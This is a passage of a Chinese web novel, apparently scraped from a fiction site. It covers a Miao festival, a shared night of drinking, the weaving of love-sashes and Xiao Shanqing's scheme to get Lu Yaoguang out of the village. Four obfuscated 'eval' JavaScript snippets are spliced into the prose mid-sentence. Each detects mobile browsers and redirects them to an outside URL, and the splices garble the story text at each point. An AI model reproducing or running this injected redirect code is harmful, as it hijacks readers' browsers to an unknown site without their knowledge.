阿婆粗糙的手抚过她的发髻与鬓角,沾着清水把她不听话的碎发抹平。 她扯了扯嘴角,镜子里盛装的少女也跟着抿唇,露出了一个浅浅的生涩笑容来。 “好重。”她忍不住抱怨道。 “自然是重的,”阿婆为她扣上脖子上的项圈,“你阿爹为你请的是苗疆最好的银匠,用的是十成十的好银料。” 晓山青道:“可是他都没有赶回来看我穿这套衣服。” 阿婆眼角的皱纹随着笑意慢慢舒展开来:“他回来做什么?看年轻的小伙子围着他的女儿大献殷勤吗?” “我不管。”晓山青的目光扫过镜中阿婆的白发,忍不住哼道,“还是婆婆待我最好。” 岁月好像忽然仁慈了起来,在婆婆身上停止了流动。婆婆还是拄着那根已磨得发亮的竹杖,一头白发绾得整整齐齐,一如她记忆中的模样。 谁也不知道住在娘娘庙里的祭司婆婆有多大年纪。几乎所有人都称她为“婆婆”——她和谢歧管婆婆叫婆婆,她阿爹也管婆婆叫婆婆。便是寨子里再小一点的孩子,刚会走路的娃娃,也奶声奶气地唤她婆婆。 她与谢歧在庙里住的那几年,阿爹常常要为他们出寨采药,婆婆便负责照看他们。她就是这样拄着竹杖熬药,喂药,哄着两个难以安眠的孩子入睡。 “阿青是大姑娘了。”阿婆也对着镜子叹道,“阿歧也长大了。” ……哪来的阿歧? 银冠上的流苏琤然作响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488508|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晓山青豁然回头,看到了不知道什么时候倚在门上的谢歧。 少年也是盛装模样。 黑发被高高地束起,用红绳细致地编了几个小辫。耳边是两个蝎样的银坠,玄色的衣,满襟满袖皆是密密麻麻缠绕的鱼蛇纹。 最显眼的还是盖在少年脸上的鬼面。那面具上了大红的漆,线条粗犷狞厉,额生犄角,口露獠牙,双眼处却是两道狭长弯月,拿浓重的黑墨勾出了细长的眼线。 少年骨节清晰的手指覆在鬼面上轻轻一扣,鬼面往下一滑,露出了一双比鬼面更艳的眼睛。纤长浓密的睫毛投下薄薄一片阴影,落在那琥珀般的瞳孔上,他幽深的目光仿佛也带上了一丝森然神性。 晓山青心头一跳,骤然回神,只觉得被金色的阳光刺得头晕目眩。 “你不是说不来?”她定了定心,撑着头上的银冠回头看他。 少年冷哼了一声,单手拨弄着面具,“我不来,你上去跳祀舞?” “……” “我跳不来。”晓山青诚实地说,“只有这个,我真不行。” 她跳起这个来东倒西歪,简直像是山猫偷吃了菇子。 谢歧勾了勾嘴角,轻描淡写地把面具戴了回去:“那就在下面看我跳。” * 这场舞其实没什么大动作,只需要在山神娘娘前奉酒,遥祝丰收。 晓山青坐在一棵老树的枝桠上,有些心不在焉地思索着昨日宋寅的话。 “我这两日试着靠近……又差点被那人察觉。”宋寅是这样说的。 错了,不是差点,是已经被察觉了。晓山青想。所以这几天谢歧的注意力又放回了陆瑶光身上。 她不禁开始思考,是不是从一开始她理解错了“爱情”的含义。 梦里,谢歧爱上了那个长安少女……真的是“爱”吗? 如果他的爱不是“爱”,是占有呢? 像蛇的猎杀。 占有,侵略,绞缠,吞吃,拆骨入腹。 她实在无法想象谢歧“痴痴”凝视着谁的背影,但她想象的出谢歧像蛇一样盯着猎物的样子。 不如说——这才该是谢歧。 晓山青的目光落定在树下的陆瑶光上。 陆瑶光今日也打扮得入乡随俗。虽未戴上银冠,但也兴致勃勃地将头发编成了一股粗辫子,换上了苗人的衣裙。此刻她正踮着脚尖,仰头凝望着高台上手捧牛角杯的谢歧,反倒是比晓山青看得更入神。 ……非但入神,还有些过度的担心。 “阿青姑娘,阿歧哥哥的伤会不会……” 晓山青:“哦,不碍事,他好得差不多了。” “阿青姑娘,好像下雨了,阿歧哥哥……” 晓山青:“……没事,也不碍事。” 苗疆的天气向来时晴时雨。这几点太阳下的小雨能把他怎么样。 “阿青,阿青!你看阿歧哥哥……他在看我们!”这次是掩不住的雀跃。 嗯?晓山青抬眼望去。 一滴微凉的雨水打在她的额心。 晓山青微不可察地一个激灵。 7. 共饮 高台之上。 少年的身形如同柔韧的弓弦。他合身后仰,又骤然拧腰拔起。赤鬼面具上垂落的七色流苏随着他的动作划过一道弧线,而他又已旋身而止。鼓点如疾风骤雨般落下。他双手捧杯过顶。三拜之后,又转身向天地奉酒。 最后一拜结束,已有人吹响牛角号。轰鸣的低沉乐声里,阿姐阿妹们的裙摆已像花朵一样旋转着盛开。而谢歧站在高台上,慢慢摘下了鬼面,隔着人群遥遥地朝她们这边望来。 晓山青:“……” 阿姐们在日光下流光溢彩的银头冠一晃儿就挡住了视线,晓山青其实根本没看清谢歧到底在看谁。 可那种对视留下的心悸感就是在胸口挥之不去,甚至让她觉得谢歧盯上的不是陆瑶光。 “……”晓山青看了看旁边眼中欢喜都快溢出来了的陆瑶光,又看了看已完全被人群挡住了的谢歧,心想不能吧。 多半是她眼花了。 * 夜幕低垂。 空地里燃起了篝火,芦笙的乐声婉转悠扬,悠悠飘荡在翠湖之上。 晓山青听到邻家阿姐熟悉的歌声,脆生生的清亮:“哎——月亮爬上了枫树梢喂!” 她尾音刚落,就有清朗的男声接上:“哎——花鹊的尾巴摇又摇,好酒放进了老酒缸——” 晓山青端起粗陶碗,抿了一口碗中米酒。清甜微凉的液体滑过喉咙,抚平了喉中的干涩。 她今天胡闹得够久了。沉甸甸的头冠压得脖子疼,她唱够了歌,如今都不想说话。 旁边的阿姐搂着她,还在精神奕奕地对歌:“为什么水牛打架角缠角——” 对面又有人把歌抛了回来。 阿姐推了推她,晓山青只好含含糊糊地张口唱:“为什么藤缠树呀死不放——” “嘿唉——呦——” 歌声之中,伏在阿姐怀里的晓山青听到了有脚步声靠近,却懒得理会。 今天想约她月下散步的人多了去了,她拒了不下一只手的数,实在是懒得抬眼去瞧了。 “阿青,阿青,喏,又是来寻你的。”阿姐用她新染了蔻丹的指尖戳了戳晓山青的脸。 “没兴趣。”晓山青闷闷地回道。她疲于应付来邀她的青年,但又贪恋着夜风里的凉意,不肯就这样回家去。 可这次阿姐没张口替她回绝掉那人,只是嘻嘻笑道:“好阿青,你抬头看一眼嘛。” “不要。”晓山青有点任性地拿手捂住了眼睛。 “她喝醉了吗?”忽然背后那人这样说道。 “?”谁那么唐突? 晓山青慢慢地抬起头来,袖中的白蛛已准备出手。然而看清眼前之人后,她顿时没了兴趣。 哦,是谢歧啊。那这白蛛的蛛毒进他的血怕是如同泥牛入海,见不到一点效果。 晓山青懒得搭理他,照旧一动不动:“我酒量好得很。” 一不头晕,二没眼花,三还认得出谢歧这张招摇的脸。 晓山青又抬眼,瞥见他竟自顾自地在一边席地坐下,心头窜起一丝烦躁。 怎么到处都是谢歧啊? 她翻身坐了起来。 阿姐抓了抓她的手,悄悄溜走了,台阶上只剩下她与谢歧两人。 头顶天河倒悬,星子闪烁。苍穹宛如巨大的天幕般倒扣下来,篝火跳跃的光与影把周围划成了两方界限分明的世界。 一方阿兄阿姐眉眼传情,苗歌对唱,一方芦笙低响,草木窸窣。 该死的虫鸣在这个夏夜里轰然作响。和谢歧的呼吸声一起吵得她头疼。 好吧,好吧,今天晚上她是喝多了酒。 不止是她喝多了,陆瑶光也喝的不少。 寨子里的酒都是自酿的土酒,多是米酒。用糯米酿成,初入口时甘冽清甜,如饮山涧清泉,极易入口——但酒性绵长,后劲十足。 晓山青记得陆瑶光喝得不快,只是双手捧着碗慢慢啜饮,可一转眼的功夫她就已双颊酡红,目光迷蒙。 喝醉后的陆瑶光告诉晓山青她要回家了。 金色的火光扑在她的脸上,她的声音轻得像叹息:“阿青,我可能……我可能要走了。” “嗯……?”晓山青看着碗底的酒液,“你家里人要来接你了吗?” “嗯……对。”陆瑶光的脸透着微醺的红,看上去有点茫然,“他已经……不,就要来接我了。” “他说他没办法进来,所以我叫他在寨子外面等我。”她断断续续地说道。 “可这里离长安千里之遥,你们两个人……”晓山青应道。 “没关系,他很厉害。”陆瑶光道,“他是……最厉害的那个。而且我们只要进了荆州地界,便是我外祖家,我外祖必已派人寻了我许久。” 晓山青没说话。 陆家与她外祖杜家的人确实早已把苗疆外翻了个底朝天,又屡次加派人手尝试进入苗疆深处——虽然个个有去无回。梦里,当宋寅带着陆瑶光行至苗疆外围时,几乎可以说是不费吹灰之力就找到了接应之人。 只不过梦里的宋寅并未受伤,还有谢歧为这俩人引路。 而现在嘛。 晓山青将碗中残酒一饮而尽。她是可以替代谢歧,但宋寅能否撑到荆州……就要看他自己了。 毕竟,她不可能再为他解余下的蛊毒。 晓山青不再说什么,只是低头道:“好,到时我送你一段路。” “我想等阿歧哥哥的伤好了,再好好同他道别。” “我还想……还想,嗯,谢谢他。”陆瑶光的声音越来越低,带着一丝不易察觉的羞赧与失落,“那时我求他相助,许诺了许多珍宝……可是我身上其实什么都没有,只剩下一块护国寺主持相赠的玉……” 晓山青迷迷糊糊地看着她。 “了悟大师说……”她还在含糊不清地说着什么,但晓山青只捕捉到几个零碎的词。 什么“司天台”,什么“少监”,还有她那块什么什么玉。 云里雾里的,听不懂。 “我……其实我……可我又不敢……”少女怔怔地望着远处:“阿青,我该怎么办?你那么厉害,你能……你能帮帮我吗?” 缠缠绵绵的歌谣声传来。 “藤缠树,树抱藤,缠到死,死也缠。根连根,心贴心,月弯弯,同梦乡——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488509|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晓山青还在歪着脑袋,努力分辨她话里意思,一个身影已悄无声息地出现在她们身边。 是宋寅。他伸手扶住摇摇欲坠的陆瑶光,迟疑着,有些局促地向晓山青点了点头。 “阿……阿青姑娘,我送小姐回去歇息。” 盘踞在宋寅肩头的白仙瞧见她,一摆尾巴,兴冲冲地朝她滑过来。然后肉眼可见的,宋寅紧绷的肩背线条松弛了几分。 “唔。”晓山青伸手接过了白仙,顺了顺它冰凉的鳞片。白仙顶着她的手使劲要往她身上钻,又被她轻轻地推了回去。 宋寅已扶着陆瑶光慢慢走远了,看方向是往老苗医的吊楼去。 “跟上。”晓山青屈指在白仙的七寸上轻轻一弹。 白仙不动,只是一个劲儿地蹭着她的手指。 “快去。”晓山青轻声道,“知道你不想靠近陆瑶光,远远地跟着宋寅就是。” “若是他有多余的动作,”她拿指尖抵着蛇吻里两枚尖牙轻轻摩挲,眼里映着酒液的寒光,“那就杀了他。” * “还喝?”谢歧伸手抢过她手里的碗,径直把碗沿凑到了嘴边。 晓山青烦得直接从旁边抱了坛未开封的酒来,随手拍开泥封,就这样双手捧着那沉甸甸的酒坛,仰头灌了一大口。 两个人就这样默默喝着各自手里的酒。 篝火噼啪作响,火星子溅入夜色之中。 良久,少女抱着冰冷的酒坛转头。光在她眼底跳跃,漫天星河倒映在坛中一隅。 “……你知道的吧,谢歧。”她忽然开口道,“我讨厌你。” “我知道。”谢歧也转过头来,平淡地与她对视,“我很小就知道了。这世上没有人会喜欢我。” 晓山青否决:“不,我和那些人不一样。” “他们是怕你,怕你的血,怕你身上的蛊,怕午夜梦回,看到你血淋淋爬出来报复他们。” “但我不怕。” “我讨厌的就是谢歧,”她低头喝酒,声音很轻,也很清晰,“和我一起长大的谢歧。” “因为什么都没有,所以一来就要分走我一半东西的谢歧。” “嗯。” “因为想活命,所以生吞了我的药,害得我不得不喝他的血的谢歧。” “嗯。” “因为成了圣子,所以连婆婆都要向他躬身行礼的谢歧。” “嗯……嗯?” “把我的秘密告诉了阿爹的谢歧。” “嗯。” 晓山青:“……” 所以不要怪我吧,谢歧?她想。从明天开始,我将站在陆瑶光的那一边。 帮她逃出苗疆。嘘。也是帮我逃出苗疆。 “……哦,我还讨厌你的脸。” 谢歧微微勾了一下嘴角。 “……没有在夸你的意思。” “知道了。”他懒洋洋回道。 没关系。他想。这样就很好了。于怪物而言,恨比爱长久。 星河如沸。 两个各怀心事的人复又沉默下来。 偶尔陶碗与酒坛轻碰,发出短促的脆响。 8. 花带 翌日一早,晓山青推开门,第一眼看到的就是陆瑶光。 彼时晓山青还没从宿醉里缓过神来,散发赤足,睡眼惺忪。 “……你说什么?”她低头看着陆瑶光递到她面前的东西,整个人犹在迷蒙之中,“这是什么……嗯?” 那是一条别致的绣花带。在陆瑶光纤细莹白的指间,更显得花带小巧精致,缠绵可爱。 当然,花带也还有一个更好懂的别名,叫相思带。鼓笙节前后这几日,她已看到好些成双入对的小情人悄然以此物互托心意。 她默默抬首:“你……该不会心慕于我吧?” 两人面面相觑。 空气仿佛凝滞了一瞬。 陆瑶光结结巴巴地道:“不、不是!” “是我前几日向一个阿姐讨教,想送阿歧哥哥一些小玩意儿……”她声音慢慢低了下去,“她告诉我此物最合适,我便想着,若是我能亲手做一件,才能显出诚意。” “……”晓山青有点疑惑:“那个阿姐她听明白你的意思了吗,还是……” 话到嘴边又咽了回去,她忽然哑了:“……不、算了。” 谢歧接受也好,不接受也好,对她来说都一样——她无所谓。她不关心这件事的结果。 可是。若是陆瑶光能早一些表明心意,能早些从踏上回长安的路,她就能早一点去到长安,早一点到阿娘身边。 我该保持沉默。她想。 ——我该保持沉默吗? 晓山青揉了揉额角,重新开口问道:“你自己想清楚了吗?” 眼前的少女长睫轻颤,半晌后方抬起头,目光澄澈而坚定:“阿青,你能帮帮我吗?” 晓山青想起了昨日少女那轻如呓语般的低诉。 “我……其实我……可我又不敢……” “阿青,我该怎么办?你那么厉害,你能……你能帮帮我吗?” “好啊。” 她向后退了一步。 赤足踩在了冰冷的地板上。微微的凉意如同藤蔓一般顺着足跟攀到了她的脖颈。 我当然会帮你。 “打花带嘛,我当然会了。” 她边说边侧身让出了进门的空隙,率先向内走去,“我教你。” * “其实不难,你看,是不是?” 经纬线在指尖灵活地翻动。丝线翻飞间,花带一寸寸延伸,菱形的花枝纹在她手下逐渐初具雏形,宛如初绽的花蕊。 “你看,就是这样。”她展示给陆瑶光看。 风轻轻地吹动钉在门框上的油布帘子,细细的雨丝顺着这点间隙飘散进来,又消融在空气里。 吊楼的外间,两个年纪相仿的少女席地而坐,周围散落了一地的彩色丝绦。 一个规规矩矩地跽坐,好似并非身处乡野陋室,而是端坐于明堂之中。另一个随意地盘着膝,任由鸦青的发铺在背后,被风微微吹动。 地上这一箩筐漂亮的丝线,是晓山青从隔壁巧手的姐姐那里讨来的。 晓山青是学过怎么编这样的小玩意,但到底许久未碰,手上不免生疏。她一时兴起,便也开始与陆瑶光一起打花带。 “你打算什么时候送呢?”晓山青一边理丝线,一边问道。 “我也不知道,再过十余日吧。”陆瑶光轻声道,“……等我真的要走了。” “那不如就在这几日送。” “鼓笙节这几日多的是人互赠花带,也不必再挑日子。”晓山青低头算了算,“鼓笙节的最后一日是七月七,我听闻你们中原人会在七月七过乞巧……不如你在七月七的晚上悄悄去找他吧?” “七月七?会……会不会太仓促了些?”陆瑶光手一抖,险些把丝线缠作一团。 “早一日,晚一日,有什么分别吗?”晓山青不以为意。 “来,我教你。”她露出了一个小狐狸般的狡黠笑容,“要知道我们这里的姑娘看中了谁,就拿着最凶的蛊去问他愿不愿意当自己的情郎。倘若他不肯……” 她眨眨眼睛:“倘若他不肯,总要叫他吃些苦头,总归是不能白白放人走的。” “我,我没那个意思……”陆瑶光的脸微微泛红,“而且,而且,我怎么敢这样对阿歧哥哥……” 她的声音越来越小:“他身上还有伤呢。” 晓山青轻笑了一声:“那你叫来接你的阿兄悄悄等在门外,若是谢歧拒绝你,你就让他闯进来打谢歧一顿出出气。” 陆瑶光:“……” 她索性将滚烫的脸颊深深埋进手中尚未完成的花带里,怎么也不肯抬头。 晓山青单手支着下颌,静静看她。 其实按阿姐们的说法,要叫一个男人爱你的办法多的是,要强迫一个男人爱你的方法也不少。没什么不一样的——要么是药,要么是酒,要么是蛊。 但这几样,恐怕对谢歧都没什么作用。 抛去他那身特殊的血不提,谢歧本质上仍是个很难接近的人。 他和大多数人之间都横亘着一种无形的疏离。当然他聪明地避免让人察觉这点,只有与他一同长大的晓山才能清晰地感受到这种隔膜。也许是因为他不是这个寨子里的人;也许是因为他几乎是被拘束在后山的娘娘庙里,见人的机会实在是寥寥——谢歧永远对所有人都抱有警惕。 甚至在他刚被救下的那会儿,他不仅警惕,还警惕过了头——他咬人,像只狗。 所以不要随便靠近他,小心被养不熟的狼崽咬——这是她很小就摸透了的事情。事实上,直到谢歧早已学会伪装的今天,规律依旧适用。 晓山青忽然没头没尾地轻声道:“若是发现有什么不对,记得不要从门走。” “……什么?” 陆瑶光抬头,湿漉漉的眼睛里满是迷茫,显然不明白这样一句突兀的话到底是什么意思。 雨停了。这样的小雨总是停得很快。 晓山青望了望窗外一碧如洗的天空,摇了摇头道:“没什么……是我多言了。” * 门外响起不轻不重的脚步声。 一个不速之客。 好吧。至少对于晓山青来讲是不速之客。 陆瑶光已如同受惊的小鹿一般手忙脚乱地抱起地上的东西,又慌乱又紧张地笑道:“阿歧哥哥,你怎么来了。” 而这个时候,晓山青才发现了谢歧。 她不禁有点疑惑,是她刚刚太过于入神了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488510|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?还是她近日来实在太过于松懈? “我听人说你来了阿青这里,所以过来看看。”谢歧已自己寻了个位置坐下,目光在两人之间逡巡:“你们在商量什么吗?” “这些……”视线掠过了那些一时未来得及藏起的丝线与木梭,最终停在陆瑶光紧握在背后的手上。他绵绵地轻笑道:“你背后藏着什么呢?” “这是……是……”陆瑶光将手往背后藏得更紧,慌乱地向晓山青投来了求助的目光。 晓山青:“……” 晓山青拎起了手上的东西,语气里带了点不耐烦:“女儿家消遣时间的玩意儿而已——怎么,圣子大人没见过花带?” “想必是我记岔了,”她笑了起来:“几年前的鼓笙节,走在路上都能被人撞一下塞点什么的人,应当不是我们圣子大人吧?” “就是这个?”谢歧从地上挑起一缕丝线,勾在指尖上晃了晃,随后轻嗤了一声,再度转过头去瞧陆瑶光:“我还当你们在背着我商量什么坏事呢。” “若是没骗我的话……”他盯着陆瑶光,饶有兴趣道,“那你在怕什么呢?” “没有怕。”陆瑶光只一个劲地摇头。 其实她藏得不好,谢歧也早已看见了她背后的东西,可偏偏他又在这时候顽劣起来,非要弄得少女手足无措,越发慌乱。 晓山青看到陆瑶光捏了又捏背后藏着的花带,指节都泛了白,像是给自己悄悄鼓劲。终于,她鼓足勇气,大着胆子问谢歧:“阿歧哥哥……有人送你花带吗?” “……” 大概是连谢歧也没有想到她会问出这样的话来,一时间几人都安静了下来。 缄默。 空气里带着一种令人窒息的紧绷,只能听到几人交错的呼吸声。 最后还是谢歧开口打破了寂静。 “没有。”谢歧淡淡道,目光掠过陆瑶光紧握的手,又缓缓移开。 “好……好的!”陆瑶光欣然应道。 * “陆姑娘都走了。”晓山青手上的花带快到了收尾的阶段,因此她指尖翻飞,动作不停,“你怎么还不走?” “你教她这个做什么?”谢歧没有回答她的问题,只是反问道。 “不对,不是我教她,是我想打花带。”晓山青波澜不惊地纠正道。 这点义气她还是有的。 “行,那你要送给谁?总不会要送给那几个……” “给你啊。”晓山青漫不经心地回答道。 “送给……我?”谢歧的瞳孔像猫一样骤然尖锐收缩,又不自觉地微微放大。 但晓山青没有在意他这点细微的僵硬。 或者说,她根本就没有看她。 她只不过垂着眼睛,轻飘飘地收回了上一句话。 “开玩笑的,不送给谁——我做着玩的。” 不过轻轻一松手,那条刚刚还被她握在手里的花带就落在了丝绦堆里,横躺在那儿,好像成了被主人遗弃的次品。 “别等了,我阿爹还没回来。”她毫无留恋地进了里间,“若是他回来了,必定会叫人寻你过来。” 谢歧没动。 他轻轻拨弄着散落的丝线,神色晦暗不明。 9. 险棋 七月七,鼓笙节的最后一日。 阿爹还没有回来。 * 晓山青合上了窗子,隔绝了外头花鼓的喧嚣,回到屋内坐下。 面前的桌子上依次放着三样东西。 一瓶药,一小坛酒,还有一种特殊的蛊。 难得的,她的脸上浮现出极其迟疑的神情。 药不是什么良善之药,中此药者会恍若梦中,任人摆布。蛊也不是什么好蛊,中此蛊者会全然丧失自我,成了他人手里的牵线木偶,无法再拒绝任何事情。 晓山青手里有这样的坏东西的原因只有一个,她本身也不是什么好人。 可惜,晓山青不是,但是陆瑶光却是。 她不仅是好人,更是个手无缚鸡之力的好人。因此就算把这俩用东西塞在陆瑶光手里,恐怕发挥不出十分之一的作用。而如果使用对象是谢歧的话,那这十分之一……不如没有吧。 所以晓山青自然而然地把目光落在第三样东西上。 酒。 这是一坛从阿爹的珍藏里找出来的好酒。酒液澄澈,色如熔金淬光,酒性如刀锋般锋利,馥郁清甜的桂香缠绵于酒气之间,既冷又烫。 但是…… 晓山青又迟疑着看了看陆瑶光。 陆瑶光今日给自己描画了一个精巧的妆面,是晓山青从未见过的样式。眉如远山含黛,腮若晚春桃花,唇上一点鲜艳的红,衬得她眉眼如画,肌肤赛雪——好一个灿烂如云霞般的美人。 此刻,她正从她们一同编织的那堆花带里仔仔细细地挑选。尽管晓山青委实看不出来它们之间有什么区别——譬如说,她觉得陆瑶光手头上那个黑的与膝上那个青黛色的完全是一模一样的——但是陆瑶光还是挑得极其认真。 于是晓山青无声地叹了一口气,伸手拿过那坛酒——径直给自己倒了一杯。 “阿青怎么青天白日里喝起酒来了?”陆瑶光听见水声,讶然抬眸。 “不。”晓山青摇头道,“这坛酒当然不是为我准备的。” 陆瑶光面露不解。 “你们中原人不是有句诗吗……什么醉语出真言,”晓山青单手托着腮,指尖轻轻扣了扣杯沿,“但我又觉得谢歧这样的人,大概是不会任由自己被人灌醉。” 她看着这坛好酒,脑中忽然灵光一闪:“不如——你喝?” 陆瑶光睁大了眼睛:“我……我喝?” “我不行的。”她连连摆手,“我喝不了那么烈的酒。” “前几日的米酒与我们长安的杏子甜酒很像,我一时贪杯……”陆瑶光解释道,“我家里的父兄不叫我们喝烈酒,只许我们这些未出阁的女儿家偶尔小酌些果子酒怡情。” “这样啊。”晓山青又拨弄了一下酒杯,想了想,“那你带半坛走。” “若是你到时候心怯了,就抿一口壮壮胆,”她笑道,“你们中原人不是说……‘酒是英雄胆’吗?” 她复又低头啜饮了一口。 “我便在此预祝陆姑娘今夜……诸事顺利了。” 陆瑶光浅浅地笑了,颊边露出了两个梨窝。 * 陆瑶光离去时,怀里小心地抱着那小半坛桂花酒。 她前脚刚踏出门槛,后脚一道黑影便如狸猫般悄无声息地推开窗户翻了进来。 宋寅照旧以黑巾蒙面,只露出一双锐利的眼。那柄断刀不知何时已被磨短,变成了一把尺寸不那么合适、但好歹能用的短刃,被他缚在小臂处。 “你来找我做什么?”晓山青不得不再一次起身去合上窗子。 没合全,留了一条缝隙。 “这种时候,你不该寸步不离跟在你家小姐旁边吗?” “小姐她……”宋寅欲言又止。 “她意已决,我又有什么办法呢?”晓山青扫了他一眼,“你既觉得不妥,又为什么不劝呢?” 宋寅抬眼看她。 眼前的少女非但没有停口,反而笑吟吟地说了下去:“哦,因为她是主子,你是奴才,你们中原人的规矩就是这样的。” 恍惚之间,宋寅只觉得他并非站在大山深处的村寨吊楼之中,而是跪在那些高冠博带、气度非凡的主子们面前。 可眼前少女身上怎么也会露出这样的气度? 被她端详、审视时那种无形的、沉重的压力,仿佛平原上骤然拔地而起、遮天蔽日的高山。而当她移开视线时,这如有实质般的压力又像柔软的水流一样四散开来。 他是不是在哪里见过…… ——见过这样的目光? ——还是见过这样的一张脸? 他想不起来了。 窗扇发出了极轻的一声“吱呀”声,一道细长的白影从窗缝里窜了进来,被少女一把伸手捞过。 “好了,知道你忠心得很,现在你该过去看看了。” 桂花酒润泽了她的唇,她愉悦地勾唇笑了起来,显得天真又妩媚,活像一只偷酒的精怪。 那精怪一般的少女微微探身凑过来,将那条白蛇推到他的肩上,然后在他耳边低语道:“还记得你答应我的事吗?你会完成的,对吗?” 宋寅的喉结不受控制地滚动了一下。 “对。”他哑着嗓子应道。 “那就好。”少女睨了她一眼,拍拍手,“剩下的路白仙会带你走,我会保你今夜无虞。” “所以说,何必那么在意呢?反正都要走了,你就当今夜只有告别。” “可若是那人接受了……”宋寅突然出声道。 “那不是正好吗?” 像梦中一样,谢歧那么顺利,简单,毫无波折地昏了头。 “若是谢歧接受了,那就只有一种可能——你家小姐又要多一条狗了。”她漫不经心道,“他可有着一口好牙,有了他,你们之后的路岂不是会轻松许多?” “反之,我们可就要小心了。”少女忽然回头笑道,“谁为刀俎?谁为鱼肉?” 所谓险棋,其实不过剑走偏锋、火中取栗八字而已。 “没关系,今夜的结果对于我们的计划来说,其实没什么差别。” 她又轻轻地补上了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488511|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句:“我只是,有点等不及了而已。” 宋寅不再多言,身形一矮,敏捷地翻出了窗外。 就在他身影融入屋外昏暗的那一刻,他神差鬼使地、最后回头望了她一眼。 昏黄的光线勾勒出少女倚桌而立的剪影。一抹斜斜的日光透过窗隙,恰好落在她湿润的唇上,让他刹那间回想起少女吐息之间的桂花香气。 她若有所觉般抬头看来,顺手举杯,无声地动了动口型:“预祝今夜……诸事顺利。” 宋寅想,若是诸事顺利,那今夜只有告别。 斩断主子不该有的心绪,再带主子摆脱那人——一箭双雕。 不,是一箭三雕。 ……还能让这个少女得偿所愿。 * 今夜无雨。 有两三点繁星。 篝火已经被点燃了起来,一圈穿着长裙的姑娘与吹着芦笙的小伙绕着篝火踏歌起舞。 “藤缠树,树抱藤,缠到死,死也缠。根连根,心贴心,月弯弯,同梦乡——” 熟悉的歌声隐约传来。 陆瑶光听不懂苗语,但作为陆家精心教养的女儿,她通音律,擅丹青,诗书琴画无一不精,自然也记得这简单的曲调。 那缠绵悱恻的调子仿佛带着某种隐秘的蛊惑,轻轻抚过她的胸口。她忍不住走快了几步,握紧着手中那条花带,跟着哼起了这首小调。 路很快到了尽头。 那座依山瀑而建的吊楼出现在了她面前,她这才恍然发现自己忘记放下那小半坛桂花酒了。 她下意识地想把酒藏在哪里,又发觉没有地方可藏——孤零零的一坛酒放在哪里都算得上有些显眼。 其实,带进去……也没关系的吧?这样一坛好酒,像她父兄那样的好男儿总是会喜欢的。那阿歧哥哥想必也不会讨厌吧? 陆瑶光有些忐忑。 或者就如阿青所说,略饮几口壮壮胆气,再将酒坛悄悄置于门边? 她深吸一口气,努力挺直了纤细的脊背,将那坛酒抱得更紧了些。 ——可吊楼的主人没有留给她更多的时间思考。 那道门已无声无息地打开了。 谢歧的身影出现在门口。他穿了一身常见的靛蓝色苗衣,颈上层层叠叠的银饰垂挂下来,在幽暗之中闪着明亮的色泽,晃得陆瑶光几乎不敢直视他的脸。 于是她羞涩又慌乱地垂下了眼睫。 少年的目光似乎在那她的妆容上一扫而过,又滑过了她手中的花带,最后落在她那怀中那半坛桂花酒上,微妙又奇怪地多停留了几秒。 “阿歧哥哥……”她悄悄地抬眼看过去。 沉默只持续了一瞬,却漫长得让陆瑶光几乎窒息。 终于,谢歧微微偏了下头,懒懒开口:“酒……是给我的?” “啊,这个,是……”陆瑶光低头看了看怀里的东西。 “那就多谢了。”谢歧从她手上接过了那坛酒,低头闻了闻。 他似乎没打算让她进去。 陆瑶光慢慢咬住了下唇。 10. 愤怒 晓山青也来到了这座依山瀑而建的吊楼,但此时陆瑶光已不在门口。 因为她已进了屋内。 晓山青站在门外的石阶上时还在冷酷地想着,她本不该来的。 也许最差的那种情况压根不会发生。就算发生了,其实也没什么。 因为她阿爹就要回来了。 在她过去的经验里,谢歧对她的报复一直都很直截了当——最坏也不过是直接向她阿爹告状,再由她阿爹名正言顺地整治她。而在她对未来的设想里,这点大概也不会发生什么变化……大概吧。 但是,当她把手按在粗糙冰冷的门上的时候,胸口忽然生出一种尖锐的焦躁感。 